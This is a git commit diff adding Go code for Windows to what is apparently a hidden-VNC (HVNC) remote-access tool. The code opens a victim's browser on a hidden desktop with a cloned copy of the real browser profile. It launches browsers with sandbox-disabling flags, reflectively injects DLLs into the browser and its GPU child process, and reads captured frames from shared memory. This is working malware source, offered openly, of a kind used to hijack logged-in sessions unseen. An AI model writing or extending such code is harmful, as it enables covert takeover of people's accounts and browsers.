GPU HVNC capturing

This commit is contained in:
KingKDot
2026-04-16 10:01:49 -05:00
parent 3761579d93
commit b3adac41b3
36 changed files with 5997 additions and 86 deletions
@@ -0,0 +1,318 @@
//go:build windows
package capture
import (
"encoding/binary"
"fmt"
"log"
"sync"
"syscall"
"time"
"unsafe"
)
// hvncFrameHeader mirrors the C HVNCFrameHeader struct.
// must be kept in sync with HVNCCapture/src/DXGICapture.h.
type hvncFrameHeader struct {
Magic uint32
Version uint32
Width uint32
Height uint32
Stride uint32
Format uint32
FrameSeq uint64
TimestampNs uint64
PID uint32
Reserved uint32
}
const (
hvncFrameMagic = 0x434E5648 // 'HVNC'
hvncFrameVersion = 1
hvncFrameHeaderSize = 48 // sizeof(HVNCFrameHeader)
hvncShmPrefix = `Local\hvnc_frame_`
hvncEventPrefix = `Local\hvnc_evt_`
)
var (
procOpenFileMappingW = kernel32.NewProc("OpenFileMappingW")
procOpenEventW = kernel32.NewProc("OpenEventW")
)
const (
FILE_MAP_READ = 0x0004
EVENT_ALL_ACCESS = 0x1F0003
SYNCHRONIZE = 0x00100000
)
type hvncFrameReader struct {
pid uint32
shmHandle uintptr
shmView unsafe.Pointer
shmSize uintptr
evtHandle uintptr
lastSeq uint64
staleCount int
mu sync.Mutex
}
var (
hvncFrameReaders = make(map[uint32]*hvncFrameReader)
hvncFrameReadersMu sync.Mutex
hvncGPUPIDMap = make(map[uint32]uint32)
)
func hvncRegisterGPUPID(browserPID, gpuPID uint32) {
hvncFrameReadersMu.Lock()
hvncGPUPIDMap[browserPID] = gpuPID
hvncFrameReadersMu.Unlock()
log.Printf("hvnc dxgi: registered GPU PID %d for browser PID %d", gpuPID, browserPID)
}
func hvncGetFrameReader(pid uint32) *hvncFrameReader {
hvncFrameReadersMu.Lock()
defer hvncFrameReadersMu.Unlock()
if r, ok := hvncFrameReaders[pid]; ok {
if r.staleCount > 300 {
log.Printf("hvnc dxgi: evicting stale reader for PID %d (stale %d frames)", pid, r.staleCount)
r.close()
delete(hvncFrameReaders, pid)
} else {
return r
}
}
shmName, _ := syscall.UTF16PtrFromString(fmt.Sprintf("%s%d", hvncShmPrefix, pid))
shmHandle, _, _ := procOpenFileMappingW.Call(
FILE_MAP_READ,
0,
uintptr(unsafe.Pointer(shmName)),
)
if shmHandle == 0 {
return nil
}
view, _, _ := procMapViewOfFile.Call(
shmHandle,
FILE_MAP_READ,
0, 0,
hvncFrameHeaderSize,
)
if view == 0 {
procCloseHandle.Call(shmHandle)
return nil
}
hdr := (*hvncFrameHeader)(unsafe.Pointer(view))
if hdr.Magic != hvncFrameMagic {
procUnmapViewOfFile.Call(view)
procCloseHandle.Call(shmHandle)
return nil
}
fullSize := uintptr(hvncFrameHeaderSize) + uintptr(hdr.Stride)*uintptr(hdr.Height)
procUnmapViewOfFile.Call(view)
view = 0
hdr = nil
fullView, _, _ := procMapViewOfFile.Call(
shmHandle,
FILE_MAP_READ,
0, 0,
fullSize,
)
if fullView == 0 {
procCloseHandle.Call(shmHandle)
return nil
}
hdr2 := (*hvncFrameHeader)(unsafe.Pointer(fullView))
evtName, _ := syscall.UTF16PtrFromString(fmt.Sprintf("%s%d", hvncEventPrefix, pid))
evtHandle, _, _ := procOpenEventW.Call(
SYNCHRONIZE,
0,
uintptr(unsafe.Pointer(evtName)),
)
r := &hvncFrameReader{
pid: pid,
shmHandle: shmHandle,
shmView: unsafe.Pointer(fullView),
shmSize: fullSize,
evtHandle: evtHandle,
}
hvncFrameReaders[pid] = r
log.Printf("hvnc dxgi: opened shared memory for PID %d (%dx%d, %d bytes)",
pid, hdr2.Width, hdr2.Height, fullSize)
return r
}
func (r *hvncFrameReader) readFrame(dst []byte) (w, h int, ok bool) {
r.mu.Lock()
defer r.mu.Unlock()
if r.shmView == nil {
return 0, 0, false
}
hdr := (*hvncFrameHeader)(r.shmView)
if hdr.Magic != hvncFrameMagic || hdr.Version != hvncFrameVersion {
return 0, 0, false
}
w = int(hdr.Width)
h = int(hdr.Height)
stride := int(hdr.Stride)
if w <= 0 || h <= 0 || w > 7680 || h > 4320 || stride <= 0 || stride > 7680*4 {
return 0, 0, false
}
dstStride := w * 4
if stride < dstStride {
return 0, 0, false // stride must be >= w*4
}
needed := w * h * 4
if len(dst) < needed {
return 0, 0, false
}
totalNeeded := uintptr(hvncFrameHeaderSize) + uintptr(stride)*uintptr(h)
if totalNeeded > r.shmSize {
r.remap(w, h, stride)
if r.shmView == nil {
return 0, 0, false
}
hdr = (*hvncFrameHeader)(r.shmView)
if hdr.Magic != hvncFrameMagic || int(hdr.Width) != w || int(hdr.Height) != h {
return 0, 0, false
}
}
pixelData := unsafe.Add(r.shmView, hvncFrameHeaderSize)
srcSize := stride * h
src := unsafe.Slice((*byte)(pixelData), srcSize)
for y := 0; y < h; y++ {
srcOff := y * stride
dstOff := y * dstStride
copy(dst[dstOff:dstOff+dstStride], src[srcOff:srcOff+dstStride])
}
seq := hdr.FrameSeq
if seq != r.lastSeq {
r.lastSeq = seq
r.staleCount = 0
} else {
r.staleCount++
}
return w, h, true
}
func (r *hvncFrameReader) remap(w, h, stride int) {
if r.shmView != nil {
procUnmapViewOfFile.Call(uintptr(r.shmView))
r.shmView = nil
}
newSize := uintptr(hvncFrameHeaderSize) + uintptr(stride)*uintptr(h)
view, _, _ := procMapViewOfFile.Call(
r.shmHandle,
FILE_MAP_READ,
0, 0,
newSize,
)
if view == 0 {
return
}
r.shmView = unsafe.Pointer(view)
r.shmSize = newSize
}
func (r *hvncFrameReader) close() {
r.mu.Lock()
defer r.mu.Unlock()
if r.shmView != nil {
procUnmapViewOfFile.Call(uintptr(r.shmView))
r.shmView = nil
}
if r.shmHandle != 0 {
procCloseHandle.Call(r.shmHandle)
r.shmHandle = 0
}
if r.evtHandle != 0 {
procCloseHandle.Call(r.evtHandle)
r.evtHandle = 0
}
}
func hvncCleanupFrameReaders() {
hvncFrameReadersMu.Lock()
defer hvncFrameReadersMu.Unlock()
for pid, r := range hvncFrameReaders {
r.close()
delete(hvncFrameReaders, pid)
}
for k := range hvncGPUPIDMap {
delete(hvncGPUPIDMap, k)
}
}
var (
hvncInjectedPIDs = make(map[uint32]time.Time)
hvncInjectedPIDsMu sync.Mutex
)
func hvncRegisterInjectedPID(pid uint32) {
hvncInjectedPIDsMu.Lock()
hvncInjectedPIDs[pid] = time.Now()
hvncInjectedPIDsMu.Unlock()
}
func hvncGetInjectedPIDs() []uint32 {
hvncInjectedPIDsMu.Lock()
defer hvncInjectedPIDsMu.Unlock()
pids := make([]uint32, 0, len(hvncInjectedPIDs))
for pid := range hvncInjectedPIDs {
pids = append(pids, pid)
}
return pids
}
func hvncUnregisterInjectedPID(pid uint32) {
hvncInjectedPIDsMu.Lock()
delete(hvncInjectedPIDs, pid)
hvncInjectedPIDsMu.Unlock()
}
func parseHVNCFrameHeader(data []byte) (*hvncFrameHeader, bool) {
if len(data) < hvncFrameHeaderSize {
return nil, false
}
hdr := &hvncFrameHeader{
Magic: binary.LittleEndian.Uint32(data[0:4]),
Version: binary.LittleEndian.Uint32(data[4:8]),
Width: binary.LittleEndian.Uint32(data[8:12]),
Height: binary.LittleEndian.Uint32(data[12:16]),
Stride: binary.LittleEndian.Uint32(data[16:20]),
Format: binary.LittleEndian.Uint32(data[20:24]),
FrameSeq: binary.LittleEndian.Uint64(data[24:32]),
TimestampNs: binary.LittleEndian.Uint64(data[32:40]),
PID: binary.LittleEndian.Uint32(data[40:44]),
Reserved: binary.LittleEndian.Uint32(data[44:48]),
}
if hdr.Magic != hvncFrameMagic {
return nil, false
}
return hdr, true
}
@@ -4,16 +4,16 @@ package capture
import "errors"
func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string) error {
func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) error {
return errors.New("HVNC injection not supported on this platform")
}
func StartHVNCChromeInjected(chromePath string, dllBytes []byte) error {
func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
return errors.New("HVNC injection not supported on this platform")
}
type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string)
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc) error {
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc) error {
return errors.New("HVNC injection not supported on this platform")
}
@@ -99,7 +99,7 @@ func enableDebugPrivilege() {
// StartHVNCProcessInjected starts a process suspended on the HVNC desktop,
// injects the reflective DLL, then resumes it.
// searchPath/replacePath are passed as environment variables for the DLL hooks.
func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string) error {
func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) error {
if filePath == "" {
return fmt.Errorf("empty file path")
}
@@ -108,11 +108,12 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, repl
}
result, err := executeHVNCTask(hvncTask{
kind: hvncTaskStartProcessInjected,
filePath: filePath,
dllBytes: dllBytes,
searchPath: searchPath,
replacePath: replacePath,
kind: hvncTaskStartProcessInjected,
filePath: filePath,
dllBytes: dllBytes,
captureDllBytes: captureDllBytes,
searchPath: searchPath,
replacePath: replacePath,
}, 30*time.Second)
if err != nil {
return err
@@ -124,7 +125,7 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, repl
// If clone is true, it clones the real profile so file I/O is redirected to the clone.
// If clone is false, it starts the browser with injection but no path redirection.
// browser should be one of: "chrome", "brave", "edge".
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc) error {
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc) error {
info, ok := browserInfoMap[strings.ToLower(browser)]
if !ok {
return fmt.Errorf("unknown browser %q", browser)
@@ -151,7 +152,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
if !clone {
log.Printf("hvnc %s: starting without profile cloning", info.name)
return StartHVNCProcessInjected(exePath, dllBytes, "", "")
return StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, "", "")
}
realUserData := getBrowserUserDataDir(info)
@@ -188,12 +189,12 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
}
}
return StartHVNCProcessInjected(exePath, dllBytes, realUserData, cloneDir)
return StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir)
}
// StartHVNCChromeInjected is kept for backward compatibility.
func StartHVNCChromeInjected(chromePath string, dllBytes []byte) error {
return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, true, false, true, nil)
func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, nil)
}
type browserInfo struct {
@@ -660,7 +661,7 @@ func calcDirSize(dir string) int64 {
return total
}
func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, searchPath, replacePath string) error {
func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) error {
if filePath == "" {
return fmt.Errorf("empty file path")
}
@@ -712,9 +713,161 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, searchPa
procCloseHandle.Call(hThread)
log.Printf("hvnc inject: process PID %d resumed with DLL hooks active", pid)
if len(captureDllBytes) > 0 {
go hvncDeferredGPUInject(pid, captureDllBytes)
}
return nil
}
func hvncDeferredGPUInject(browserPID uint32, captureDllBytes []byte) {
time.Sleep(4 * time.Second)
for attempt := 0; attempt < 15; attempt++ {
gpuPID, err := findGPUChildProcess(browserPID)
if err != nil {
log.Printf("hvnc inject: GPU child not found for PID %d (attempt %d): %v", browserPID, attempt, err)
time.Sleep(2 * time.Second)
continue
}
log.Printf("hvnc inject: found GPU child process PID %d for browser PID %d", gpuPID, browserPID)
hProcess, _, _ := procOpenProcess.Call(PROCESS_ALL_ACCESS_INJ, 0, uintptr(gpuPID))
if hProcess == 0 {
log.Printf("hvnc inject: failed to open GPU process PID %d", gpuPID)
return
}
if err := reflectiveInject(hProcess, captureDllBytes); err != nil {
log.Printf("hvnc inject: HVNCCapture DLL injection into GPU PID %d failed: %v", gpuPID, err)
procCloseHandle.Call(hProcess)
return
}
procCloseHandle.Call(hProcess)
log.Printf("hvnc inject: HVNCCapture DLL injected into GPU PID %d", gpuPID)
hvncRegisterInjectedPID(gpuPID)
hvncRegisterGPUPID(browserPID, gpuPID)
return
}
log.Printf("hvnc inject: gave up finding GPU child for browser PID %d", browserPID)
}
func findGPUChildProcess(parentPID uint32) (uint32, error) {
children := findChildPIDs(parentPID)
if len(children) == 0 {
return 0, fmt.Errorf("no child processes")
}
for _, childPID := range children {
if hasLoadedModule(childPID, "d3d11.dll") {
return childPID, nil
}
}
return 0, fmt.Errorf("none of %d children have d3d11.dll", len(children))
}
type processEntry32W struct {
Size uint32
CntUsage uint32
ProcessID uint32
DefaultHeapID uintptr
ModuleID uint32
CntThreads uint32
ParentProcessID uint32
PriClassBase int32
Flags uint32
ExeFile [260]uint16
}
type moduleEntry32W struct {
Size uint32
ModuleID uint32
ProcessID uint32
GlblcntUsage uint32
ProccntUsage uint32
ModBaseAddr uintptr
ModBaseSize uint32
HModule uintptr
SzModule [256]uint16
SzExePath [260]uint16
}
var (
procCreateToolhelp32Snapshot = kernel32.NewProc("CreateToolhelp32Snapshot")
procProcess32FirstW = kernel32.NewProc("Process32FirstW")
procProcess32NextW = kernel32.NewProc("Process32NextW")
procModule32FirstW = kernel32.NewProc("Module32FirstW")
procModule32NextW = kernel32.NewProc("Module32NextW")
)
const (
TH32CS_SNAPPROCESS = 0x00000002
TH32CS_SNAPMODULE = 0x00000008
TH32CS_SNAPMODULE32 = 0x00000010
)
func findChildPIDs(parentPID uint32) []uint32 {
snap, _, _ := procCreateToolhelp32Snapshot.Call(TH32CS_SNAPPROCESS, 0)
if snap == 0 || snap == ^uintptr(0) {
return nil
}
defer procCloseHandle.Call(snap)
var entry processEntry32W
entry.Size = uint32(unsafe.Sizeof(entry))
ret, _, _ := procProcess32FirstW.Call(snap, uintptr(unsafe.Pointer(&entry)))
if ret == 0 {
return nil
}
var children []uint32
for {
if entry.ParentProcessID == parentPID && entry.ProcessID != parentPID {
children = append(children, entry.ProcessID)
}
entry.Size = uint32(unsafe.Sizeof(entry))
ret, _, _ = procProcess32NextW.Call(snap, uintptr(unsafe.Pointer(&entry)))
if ret == 0 {
break
}
}
return children
}
func hasLoadedModule(pid uint32, moduleName string) bool {
snap, _, _ := procCreateToolhelp32Snapshot.Call(TH32CS_SNAPMODULE|TH32CS_SNAPMODULE32, uintptr(pid))
if snap == 0 || snap == ^uintptr(0) {
return false
}
defer procCloseHandle.Call(snap)
var entry moduleEntry32W
entry.Size = uint32(unsafe.Sizeof(entry))
ret, _, _ := procModule32FirstW.Call(snap, uintptr(unsafe.Pointer(&entry)))
if ret == 0 {
return false
}
target := strings.ToLower(moduleName)
for {
name := strings.ToLower(syscall.UTF16ToString(entry.SzModule[:]))
if name == target {
return true
}
entry.Size = uint32(unsafe.Sizeof(entry))
ret, _, _ = procModule32NextW.Call(snap, uintptr(unsafe.Pointer(&entry)))
if ret == 0 {
break
}
}
return false
}
func terminateProcess(hProcess uintptr) {
kernel32.NewProc("TerminateProcess").Call(hProcess, 1)
}
@@ -771,7 +924,7 @@ func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName
}
baseName := strings.ToLower(filepath.Base(filePath))
if browserExes[baseName] {
args += " --no-sandbox --allow-no-sandbox-job --disable-gpu"
args += " --no-sandbox --allow-no-sandbox-job --disable-gpu-sandbox"
} else if baseName == "firefox.exe" {
args += " -no-remote -wait-for-browser"
}
@@ -15,6 +15,10 @@ func CleanupHVNCDesktop() {}
func SetHVNCCursorCapture(enabled bool) {}
func SetHVNCDXGIEnabled(enabled bool) {}
func GetHVNCDXGIEnabled() bool { return false }
func hvncCaptureDisplay(display int) (*image.RGBA, error) {
return nil, errors.New("HVNC not supported on this platform")
}
+198 -48
View File
@@ -203,20 +203,21 @@ const (
)
type hvncTask struct {
kind hvncTaskKind
id uint64
display int
filePath string
x int32
y int32
button int
vk uint16
delta int32
dllBytes []byte
searchPath string
replacePath string
queuedAt time.Time
resp chan hvncTaskResult
kind hvncTaskKind
id uint64
display int
filePath string
x int32
y int32
button int
vk uint16
delta int32
dllBytes []byte
captureDllBytes []byte
searchPath string
replacePath string
queuedAt time.Time
resp chan hvncTaskResult
}
type hvncTaskResult struct {
@@ -360,6 +361,10 @@ func CleanupHVNCDesktop() {
hvncDesktopMu.Lock()
defer hvncDesktopMu.Unlock()
hvncCleanupFrameReaders()
hvncFreeCapCache()
for _, entry := range hvncWinCache {
hvncFreeCacheEntry(entry)
}
@@ -475,7 +480,7 @@ func ensureHVNCThread() error {
case hvncTaskStartProcess:
result.err = startHVNCProcessOnThread(task.filePath)
case hvncTaskStartProcessInjected:
result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.searchPath, task.replacePath)
result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.captureDllBytes, task.searchPath, task.replacePath)
case hvncTaskMouseMove:
result.err = hvncMouseMoveOnThread(task.display, task.x, task.y)
case hvncTaskMouseDown:
@@ -710,6 +715,82 @@ func hvncTaskDetails(task hvncTask) string {
}
}
var (
hvncCapHDCScreen uintptr
hvncCapHDCMem uintptr
hvncCapHBMP uintptr
hvncCapBits unsafe.Pointer
hvncCapW int
hvncCapH int
hvncCapImg *image.RGBA
)
func hvncFreeCapCache() {
if hvncCapHBMP != 0 {
deleteObject(hvncCapHBMP)
hvncCapHBMP = 0
}
if hvncCapHDCMem != 0 {
deleteDC(hvncCapHDCMem)
hvncCapHDCMem = 0
}
if hvncCapHDCScreen != 0 {
releaseDC(0, hvncCapHDCScreen)
hvncCapHDCScreen = 0
}
hvncCapBits = nil
hvncCapW = 0
hvncCapH = 0
hvncCapImg = nil
}
func hvncEnsureCapCache(w, h int) (uintptr, uintptr, []byte, bool) {
if hvncCapHDCScreen == 0 {
hvncCapHDCScreen = getDC(0)
if hvncCapHDCScreen == 0 {
return 0, 0, nil, false
}
}
if hvncCapHDCMem != 0 && hvncCapW == w && hvncCapH == h && hvncCapBits != nil {
buf := unsafe.Slice((*byte)(hvncCapBits), w*h*4)
return hvncCapHDCScreen, hvncCapHDCMem, buf, true
}
if hvncCapHBMP != 0 {
deleteObject(hvncCapHBMP)
hvncCapHBMP = 0
}
if hvncCapHDCMem != 0 {
deleteDC(hvncCapHDCMem)
hvncCapHDCMem = 0
}
hvncCapHDCMem = createCompatibleDC(hvncCapHDCScreen)
if hvncCapHDCMem == 0 {
return 0, 0, nil, false
}
bmi := bitmapInfo{
bmiHeader: bitmapInfoHeader{
biSize: uint32(unsafe.Sizeof(bitmapInfoHeader{})),
biWidth: int32(w),
biHeight: -int32(h),
biPlanes: 1,
biBitCount: 32,
biCompression: BI_RGB,
},
}
hvncCapHBMP = createDIBSection(hvncCapHDCMem, &bmi, DIB_RGB_COLORS, &hvncCapBits)
if hvncCapHBMP == 0 || hvncCapBits == nil {
deleteDC(hvncCapHDCMem)
hvncCapHDCMem = 0
return 0, 0, nil, false
}
selectObject(hvncCapHDCMem, hvncCapHBMP)
hvncCapW = w
hvncCapH = h
hvncCapImg = nil
buf := unsafe.Slice((*byte)(hvncCapBits), w*h*4)
return hvncCapHDCScreen, hvncCapHDCMem, buf, true
}
func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) {
captureMu.Lock()
defer captureMu.Unlock()
@@ -748,36 +829,11 @@ func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) {
capW := srcW
capH := srcH
hdcScreen := getDC(0)
if hdcScreen == 0 {
hdcScreen, hdcMem, buf, ok := hvncEnsureCapCache(capW, capH)
if !ok {
return nil, syscall.EINVAL
}
defer releaseDC(0, hdcScreen)
hdcMem := createCompatibleDC(hdcScreen)
if hdcMem == 0 {
return nil, syscall.EINVAL
}
defer deleteDC(hdcMem)
bmi := bitmapInfo{
bmiHeader: bitmapInfoHeader{
biSize: uint32(unsafe.Sizeof(bitmapInfoHeader{})),
biWidth: int32(capW),
biHeight: -int32(capH),
biPlanes: 1,
biBitCount: 32,
biCompression: BI_RGB,
},
}
var bits unsafe.Pointer
hbmp := createDIBSection(hdcMem, &bmi, DIB_RGB_COLORS, &bits)
if hbmp == 0 || bits == nil {
return nil, syscall.EINVAL
}
selectObject(hdcMem, hbmp)
buf := unsafe.Slice((*byte)(bits), capW*capH*4)
for i := range buf {
buf[i] = 0
}
@@ -792,14 +848,15 @@ func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) {
}
swapRB(buf)
img := image.NewRGBA(image.Rect(0, 0, capW, capH))
img := hvncCapImg
if img == nil || img.Bounds().Dx() != capW || img.Bounds().Dy() != capH {
img = image.NewRGBA(image.Rect(0, 0, capW, capH))
hvncCapImg = img
}
copy(img.Pix, buf)
deleteObject(hbmp)
if hvncCursorEnabled {
DrawCursorOnImage(img, bounds)
}
_ = hdcMem
if dstW != capW || dstH != capH {
img = resizeNearest(img, dstW, dstH)
@@ -1571,6 +1628,95 @@ func hvncFreeCacheEntry(entry *hvncWinCacheEntry) {
}
}
var dxgiFrameBuf []byte
var hvncDXGIEnabled atomic.Bool
func init() {
hvncDXGIEnabled.Store(true) // enabled by default
}
func SetHVNCDXGIEnabled(enabled bool) {
hvncDXGIEnabled.Store(enabled)
}
func GetHVNCDXGIEnabled() bool {
return hvncDXGIEnabled.Load()
}
func drawHVNCWindowFromDXGI(hwnd uintptr, winLeft, winTop, winW, winH int, bounds image.Rectangle, target []byte, targetStride int) bool {
if !hvncDXGIEnabled.Load() {
return false
}
var pid uint32
procGetWindowThreadProcessId.Call(hwnd, uintptr(unsafe.Pointer(&pid)))
if pid == 0 {
return false
}
reader := hvncGetFrameReader(pid)
if reader == nil {
hvncFrameReadersMu.Lock()
gpuPID := hvncGPUPIDMap[pid]
hvncFrameReadersMu.Unlock()
if gpuPID != 0 {
reader = hvncGetFrameReader(gpuPID)
}
}
if reader == nil {
return false
}
needed := winW * winH * 4
if cap(dxgiFrameBuf) < needed {
dxgiFrameBuf = make([]byte, needed)
}
buf := dxgiFrameBuf[:needed]
frameW, frameH, ok := reader.readFrame(buf)
if !ok {
return false
}
copyW := minInt(winW, frameW)
copyH := minInt(winH, frameH)
if copyW <= 0 || copyH <= 0 {
return false
}
srcStride := frameW * 4
winStride := winW * 4
effWinLeft := winLeft
effWinTop := winTop
effWinRight := winLeft + copyW
effWinBottom := winTop + copyH
interLeft := maxInt(effWinLeft, bounds.Min.X)
interTop := maxInt(effWinTop, bounds.Min.Y)
interRight := minInt(effWinRight, bounds.Max.X)
interBottom := minInt(effWinBottom, bounds.Max.Y)
if interRight <= interLeft || interBottom <= interTop {
return false
}
srcX := interLeft - winLeft
srcY := interTop - winTop
dstX := interLeft - bounds.Min.X
dstY := interTop - bounds.Min.Y
blitW := interRight - interLeft
blitH := interBottom - interTop
for y := 0; y < blitH; y++ {
srcStart := (srcY+y)*srcStride + srcX*4
dstStart := (dstY+y)*targetStride + dstX*4
copy(target[dstStart:dstStart+blitW*4], buf[srcStart:srcStart+blitW*4])
}
_ = winStride
return true
}
func drawHVNCWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target []byte, targetStride int) bool {
if !isWindowVisible(hwnd) {
return false
@@ -1597,6 +1743,10 @@ func drawHVNCWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target []by
return false
}
if drawn := drawHVNCWindowFromDXGI(hwnd, winLeft, winTop, winW, winH, bounds, target, targetStride); drawn {
return true
}
// Use pooled DC+DIB from cache
entry := hvncGetOrCreateCache(hdcScreen, hwnd, winW, winH)
if entry == nil {